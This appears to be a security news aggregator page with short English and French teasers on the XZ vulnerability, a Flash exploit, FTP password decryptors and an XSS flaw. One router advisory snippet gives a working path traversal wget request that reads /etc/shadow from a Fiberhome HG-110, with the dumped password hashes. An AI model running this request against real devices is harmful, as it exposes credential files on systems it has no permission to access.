Session Race Conditions and Session Puzzling – Now Simplified
Session Race Conditions and Session Puzzling – Now Simplified
A few months ago Shay Chen, Senior Manager at Hacktics Advanced Security Center (HASC) published a...
Quelles leçons tirer de la vulnérabilité XZ ?
La communauté Linux a récemment été secouée par une nouvelle vulnérabilité découverte dans les « bibliothèques XZ » qui font partie de plusieurs distributions Linux. Que...
China Using A Powerful ‘Great Cannon’ Weapon to Censor The Internet
China has something very impressive that we are not aware of. The country has a powerful and previously unknown weapon that its government is...
[remote] – Adobe Flash – Object.unwatch Use-After-Free Exploit
Adobe Flash - Object.unwatch Use-After-Free Exploit
Source: - Adobe Flash - Object.unwatch Use-After-Free Exploit
Re: Fiberhome HG-110 (adsl/router) vulnerabilities
Posted by Zerial. on Apr 10You can include /etc/shadow:
$ wget -o /dev/null -O - "http://192.168.1.1:8000/cgi-bin
/webproc?getpage=../../../../../../../../../../../../etc/shadow&
var:menu=advanced&var:page=dns"
#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::...
Source: Re: Fiberhome HG-110 (adsl/router) vulnerabilities
New Software – SmartFTP Password Decryptor
SmartftpPasswordDecryptor is the FREE software to instantly recover FTP login passwords stored by SmartFTP - one of the popular FTP clients. . SmartFTP stores...
New Software – WS_FTP Password Decryptor
WS_FTP Password Decryptor is the FREE software to instantly recover FTP login passwords stored by WS_FTP Professional – one of the...
Fedora 15 « Lovelock » released – Download Now !
Fedora 15 "Lovelock" released - Download Now !This is the latest version of the Fedora Linux operating system's Desktop Edition. It's everything you need...
Exclusif : Firefox et la protection des mots de passe
Mozilla Firefox, comme la majorité des navigateurs Web du moment, propose d'enregistrer les mots de passe durant la navigation. Mais sont-ils vraiment en sécurité ?
Exclusif : le site de Meteo Consult vulnérable aux failles XSS
Le portail météorologique de la société Meteo Consult (Groupe Figaro) permet à des personnes malveillantes de lancer des attaques de type Cross-Site Scripting (XSS) via son moteur de recherche géographique.




